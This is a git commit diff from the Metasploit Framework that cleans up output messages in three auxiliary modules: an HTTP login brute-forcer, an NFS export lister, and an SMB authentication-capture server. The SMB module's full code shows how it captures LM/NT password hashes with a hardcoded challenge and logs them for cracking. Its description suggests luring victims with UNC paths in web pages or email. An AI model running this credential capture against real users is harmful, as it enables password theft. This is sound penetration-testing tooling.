Cleanup some of the output

git-svn-id: file:///home/svn/framework3/trunk@8942 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-03-27 22:13:50 +00:00
parent c3eccf2cb5
commit b0425f10cd
3 changed files with 60 additions and 62 deletions

View File

@ -100,14 +100,14 @@ class Metasploit3 < Msf::Auxiliary
if rport == 443 or ssl if rport == 443 or ssl
proto = "https" proto = "https"
end end
"#{proto}://#{rhost}:#{rport}#{@uri}" "#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
end end
def run_host(ip) def run_host(ip)
@uri = find_auth_uri @uri = find_auth_uri
if ! @uri if ! @uri
print_error("No URI found that asks for HTTP authentication") print_error("#{target_url} No URI found that asks for HTTP authentication")
return return
end end
@ -136,9 +136,6 @@ class Metasploit3 < Msf::Auxiliary
if success if success
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
# XXX: Was this a valid user:pass, a valid pass, or a valid user?
# Some services only care about one of the two being valid
any_user = false any_user = false
any_pass = false any_pass = false

View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
while XDR.decode_int!(resp) == 1 do while XDR.decode_int!(resp) == 1 do
grp << XDR.decode_string!(resp) grp << XDR.decode_string!(resp)
end end
print_line("#{ip}\t#{dir}\t[#{grp.join(", ")}]") print_good("#{ip} NFS Export: #{dir} [#{grp.join(", ")}]")
shares << [dir, grp] shares << [dir, grp]
end end
report_note( report_note(

View File

@ -3,7 +3,7 @@
## ##
## ##
# This file is part of the Metasploit Framework and may be subject to # This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit # redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use. # Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ # http://metasploit.com/framework/
@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Exploit::Remote::SMBServer include Msf::Exploit::Remote::SMBServer
def initialize def initialize
super( super(
'Name' => 'Authentication Capture: SMB', 'Name' => 'Authentication Capture: SMB',
@ -27,12 +27,12 @@ class Metasploit3 < Msf::Auxiliary
capture the challenge-response password hashes of SMB client capture the challenge-response password hashes of SMB client
systems. All responses sent by this service have the same systems. All responses sent by this service have the same
hardcoded challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), hardcoded challenge string (\x11\x22\x33\x44\x55\x66\x77\x88),
allowing for easy cracking using Cain & Abel or L0phtcrack. allowing for easy cracking using Cain & Abel or L0phtcrack.
To exploit this, the target system must try to authenticate To exploit this, the target system must try to authenticate
to this module. The easiest way to force a SMB authentication attempt to this module. The easiest way to force a SMB authentication attempt
is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
email message. When the victim views the web page or email, their email message. When the victim views the web page or email, their
system will automatically connect to the server specified in the UNC system will automatically connect to the server specified in the UNC
share (the IP address of the system running this module) and attempt share (the IP address of the system running this module) and attempt
to authenticate. to authenticate.
@ -43,19 +43,19 @@ class Metasploit3 < Msf::Auxiliary
[ [
[ 'Sniffer' ] [ 'Sniffer' ]
], ],
'PassiveActions' => 'PassiveActions' =>
[ [
'Sniffer' 'Sniffer'
], ],
'DefaultAction' => 'Sniffer' 'DefaultAction' => 'Sniffer'
) )
register_options( register_options(
[ [
OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]), OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
OptString.new('PWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]) OptString.new('PWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ])
], self.class ) ], self.class )
end end
def run def run
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary
when CONST::SMB_COM_SESSION_SETUP_ANDX when CONST::SMB_COM_SESSION_SETUP_ANDX
smb_cmd_session_setup(c, buff) smb_cmd_session_setup(c, buff)
when CONST::SMB_COM_TREE_CONNECT when CONST::SMB_COM_TREE_CONNECT
print_status("Denying tree connect from #{smb[:name]}") print_status("Denying tree connect from #{smb[:name]}")
pkt = CONST::SMB_BASE_PKT.make_struct pkt = CONST::SMB_BASE_PKT.make_struct
@ -80,38 +80,38 @@ class Metasploit3 < Msf::Auxiliary
pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022 pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
c.put(pkt.to_s) c.put(pkt.to_s)
else else
print_status("Ignoring request from #{smb[:name]} (#{cmd})") print_status("Ignoring request from #{smb[:name]} (#{cmd})")
pkt = CONST::SMB_BASE_PKT.make_struct pkt = CONST::SMB_BASE_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = cmd pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0 pkt['Payload']['SMB'].v['ErrorClass'] = 0
c.put(pkt.to_s) c.put(pkt.to_s)
end end
end end
def smb_cmd_negotiate(c, buff) def smb_cmd_negotiate(c, buff)
smb = @state[c] smb = @state[c]
pkt = CONST::SMB_NEG_PKT.make_struct pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff) pkt.from_s(buff)
# Record the remote process ID # Record the remote process ID
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
# The hardcoded challenge value # The hardcoded challenge value
challenge = @challenge challenge = @challenge
group = '' group = ''
machine = smb[:nbsrc] machine = smb[:nbsrc]
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}") # print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")
dialect = dialect =
dialects.index("NT LM 0.12") || dialects.index("NT LM 0.12") ||
dialects.length-1 dialects.length-1
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
@ -126,57 +126,57 @@ class Metasploit3 < Msf::Auxiliary
pkt['Payload'].v['Dialect'] = dialect pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = 3 pkt['Payload'].v['SecurityMode'] = 3
pkt['Payload'].v['MaxMPX'] = 2 pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['MaxVCS'] = 1 pkt['Payload'].v['MaxVCS'] = 1
pkt['Payload'].v['MaxBuff'] = 4356 pkt['Payload'].v['MaxBuff'] = 4356
pkt['Payload'].v['MaxRaw'] = 65536 pkt['Payload'].v['MaxRaw'] = 65536
pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended
pkt['Payload'].v['ServerTime'] = time_lo pkt['Payload'].v['ServerTime'] = time_lo
pkt['Payload'].v['ServerDate'] = time_hi pkt['Payload'].v['ServerDate'] = time_hi
pkt['Payload'].v['Timezone'] = 0x0 pkt['Payload'].v['Timezone'] = 0x0
pkt['Payload'].v['SessionKey'] = 0 pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['KeyLength'] = 8 pkt['Payload'].v['KeyLength'] = 8
pkt['Payload'].v['Payload'] = pkt['Payload'].v['Payload'] =
challenge + challenge +
Rex::Text.to_unicode(group) + "\x00\x00" + Rex::Text.to_unicode(group) + "\x00\x00" +
Rex::Text.to_unicode(machine) + "\x00\x00" Rex::Text.to_unicode(machine) + "\x00\x00"
c.put(pkt.to_s) c.put(pkt.to_s)
end end
def smb_cmd_session_setup(c, buff) def smb_cmd_session_setup(c, buff)
smb = @state[c] smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
pkt.from_s(buff) pkt.from_s(buff)
# Record the remote multiplex ID # Record the remote multiplex ID
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
lm_len = pkt['Payload'].v['PasswordLenLM'] lm_len = pkt['Payload'].v['PasswordLenLM']
nt_len = pkt['Payload'].v['PasswordLenNT'] nt_len = pkt['Payload'].v['PasswordLenNT']
lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0] lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0]
nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
buff = pkt['Payload'].v['Payload'] buff = pkt['Payload'].v['Payload']
buff.slice!(0, lm_len + nt_len) buff.slice!(0, lm_len + nt_len)
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
smb[:username] = names[0] smb[:username] = names[0]
smb[:domain] = names[1] smb[:domain] = names[1]
smb[:peer_os] = names[2] smb[:peer_os] = names[2]
smb[:peer_lm] = names[3] smb[:peer_lm] = names[3]
# Clean up the data for loggging # Clean up the data for loggging
if (smb[:username] == "") if (smb[:username] == "")
smb[:username] = nil smb[:username] = nil
end end
if (smb[:domain] == "") if (smb[:domain] == "")
smb[:domain] = nil smb[:domain] = nil
end end
@ -188,24 +188,24 @@ class Metasploit3 < Msf::Auxiliary
if (nt_hash == "eefabc742621a883aec4b24e0f7fbf05e17dc2880abe07cc" or nt_hash == "") if (nt_hash == "eefabc742621a883aec4b24e0f7fbf05e17dc2880abe07cc" or nt_hash == "")
nt_hash = nil nt_hash = nil
end end
print_status( print_status(
"Captured #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " + "Captured #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " + "LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}" "OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
) )
report_auth_info( report_auth_info(
:host => smb[:ip], :host => smb[:ip],
:proto => 'smb_challenge', :proto => 'smb_challenge',
:target_host => datastore['SRVHOST'], :target_host => datastore['SRVHOST'],
:target_port => datastore['SRVPORT'], :target_port => datastore['SRVPORT'],
:user => smb[:username], :user => smb[:username],
:pass => :pass =>
( nt_hash ? nt_hash : "<NULL>" ) + ":" + (lm_hash ? lm_hash : "<NULL>" ), ( nt_hash ? nt_hash : "<NULL>" ) + ":" + (lm_hash ? lm_hash : "<NULL>" ),
:extra => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}" :extra => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}"
) )
report_note( report_note(
:host => smb[:ip], :host => smb[:ip],
:type => "smb_peer_os", :type => "smb_peer_os",
@ -223,9 +223,9 @@ class Metasploit3 < Msf::Auxiliary
:type => "smb_domain", :type => "smb_domain",
:data => smb[:domain] :data => smb[:domain]
) if (smb[:domain] and smb[:domain].strip.length > 0) ) if (smb[:domain] and smb[:domain].strip.length > 0)
if(datastore['LOGFILE']) if(datastore['LOGFILE'])
fd = File.open(datastore['LOGFILE'], "a") fd = File.open(datastore['LOGFILE'], "a")
fd.puts( fd.puts(
[ [
@ -241,7 +241,7 @@ class Metasploit3 < Msf::Auxiliary
) )
fd.close fd.close
end end
if(datastore['PWFILE'] and smb[:username] and lm_hash) if(datastore['PWFILE'] and smb[:username] and lm_hash)
fd = File.open(datastore['PWFILE'], "a") fd = File.open(datastore['PWFILE'], "a")
fd.puts( fd.puts(
@ -253,21 +253,21 @@ class Metasploit3 < Msf::Auxiliary
nt_hash ? nt_hash : "0" * 32 nt_hash ? nt_hash : "0" * 32
].join(":").gsub(/\n/, "\\n") ].join(":").gsub(/\n/, "\\n")
) )
fd.close fd.close
end end
pkt = CONST::SMB_BASE_PKT.make_struct pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt) smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022 pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
c.put(pkt.to_s) c.put(pkt.to_s)
end end
def smb_cmd_close(c, buff) def smb_cmd_close(c, buff)
end end
@ -300,3 +300,4 @@ class Metasploit3 < Msf::Auxiliary
end end